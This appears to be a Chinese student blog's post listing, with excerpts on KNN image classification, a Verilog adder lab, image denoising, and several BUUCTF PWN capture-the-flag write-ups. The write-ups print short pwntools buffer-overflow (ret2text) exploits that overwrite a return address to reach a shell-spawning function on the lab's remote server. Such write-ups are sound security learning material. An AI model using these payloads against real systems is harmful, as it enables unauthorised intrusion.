人工智能-KNN
双十一憋在寝室炼丹
在这次作业中,我们将尝试提取基本的图像特征并使用提取的特征进行图像分类。
你需要在TODO模块的 """你的代码""" 中填写相应的代码。
你也可以添加任意数量的 cell 来辅助你完成实验。
1234567891011import randomimport numpy as npimport matplotlib.pyplot as pltfrom past.builtins import xrange%matplotlib inlineplt.rcParams['figure.figsize'] = (15., 12.) # 设置默认大小plt.rcParams['image.interpolation'] = 'nearest'plt.rcParams['image.cmap'] = 'gray'%load_ext autoreload%autoreload 2
The autoreload ...
超前进位加法器设计实验报告
详细实验部分:https://lht.wiki/20211029-DC-adder/
一、实验目的与要求1、实验目的:(1) 掌握全加器、串行进位加法器和超前进位加法器的原理与设计方法;
(2) 掌握运用Verilog HDL语言进行结构、数据流描述与建模方法;
(3) 掌握运用Verilog HDL语言进行模块调用的方法。
2、实验要求:(1)使用结构描述方式建模全加器FA模,并仿真验证其功能。
(2)调用4个FA模块,实现4位串行进位加法器(如图5.2),并仿真验证其功能。
(3) 使用数据流描述方法,实现图5.3中的4位超前进位电路模块,逻辑表达式如式(5.2)和式(5.4)。
(4)调用4个FA模块,及1个4位超前进位电路模块,构成4位的超前进位加法器模块。模块引脚如图5.4所示,内部结构如图5.3所示。
(5) 板级验证4位二进制超前进位加法器模块。如图。
(6) 选择典型输入数据,将实验结果记录到表中
(7)撰写实验报告。
二、实验设计与程序代码1、模块设计说明
本实验的设计方案完全按照实验要求,分为全加器模块fa、4位串行加法器Four ...
探索各种降噪算法的结果评价
探索各种降噪算法的结果评价A novel MR image denoising via LRMA and NLSS作者Chen, Z (Chen, Zhen) 1Fu, YL (Fu, Yuli) 1Xiang, YJ (Xiang, Youjun) 1Zhu, YH (Zhu, Yinhao) 1
SIGNAL PROCESSING
出版时间AUG 2021
摘要Nonlocal self-similarity has been proven to be a useful tool for image denoising. For MR image denois-ing, the method combining the nonlocal self-similarity with the low-rank approximation has been re-cently attracting considerable attentions, due to its favorable performance. Since the original low-rank approximat ...
BUUCTF-PWN-jarvisoj_level0
BUUCTF-PWN-jarvisoj_level0checksec
IDA
进入vulnerable_function函数
可以看到buf的长度为0x80,但这个输入点可以输入0x200的长度,所以可以利用该溢出,跳转到callsystem函数,是典型的ret2text
EXP123456from pwn import *p = remote('node4.buuoj.cn', 25713)payload = b'a' * (0x80 + 0x8) + p64(0x400596)p.sendline(payload)p.interactive()
结果
BUUCTF-PWN-pwn1_sctf_2016
BUUCTF-PWN-pwn1_sctf_2016checksec
IDA
查看vuln函数
C++写的代码不太看得懂,勉强能看出是有个fgets出入点,但是规定了最大输入长度32,所以没办法直接溢出
但是看到了“I”和”you“,虽然看不懂,但是运行一下试试
原来它是将“I”全部转化为”you“,隐隐约约感觉是要用这个做突破口
查看一下s的栈情况:
从3C到0正好是60个字符的长度,那么可以用20个“I”将它覆盖,再加4个别的字符,就可以随意跳转到别的位置
EXP12345678from pwn import *p = remote('node4.buuoj.cn', 26808)payload = b'I' * 20 + b'a' * 4 + p32(0x8048f0d)p.sendline(payload)p.interactive()
结果
BUUCTF-PWN-warmup_csaw_2016
BUUCTF-PWN-warmup_csaw_2016checksec
IDA
很明显可以通过gets函数溢出到后门函数。
v5的栈情况:
所以需要覆盖的是长度为(0x40 + 0x8)
EXP12345678from pwn import *# p = process('./warmup_csaw_2016')p = remote('node4.buuoj.cn', 25085)payload = b'a' * (0x40 + 0x8) + p64(0x40060d)p.sendline(payload)p.interactive()
结果
图像处理20211103
概述利用上周所得到的枚举的划分标准,编写降噪程序
代码示例部分枚举的情况因为时间原因暂时未处理,用最接近的值代替
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159# python3.8# utf-8# followed by 20211020 reportimport cv2 as cvclass NineG ...
BUUCTF-PWN-rip
BUUCTF-PWN-ripchecksec
IDA
很明显gets函数有溢出漏洞,s的栈情况如下:
完全覆盖需要(0xF + 0x8)的长度
找到函数fun(可以直接拿到shell)
fun_addr: 0x401186
测试EXP12345678910from pwn import *# p = process('./pwn1')p = remote('node4.buuoj.cn', 27723)payload = b'a' * (0xF + 8) + p64(0x401186)# p.recv()p.sendline(payload)p.interactive()
测试结果
测试结果是打通了,但是报timeout,于是去找原因:
参考文章:http://blog.eonew.cn/archives/958
主要原因文章中提到了,是因为没有对齐,所以根据文章中的解决方案:
最终EXP12345678910from pwn import *# p = process('./pwn1')p ...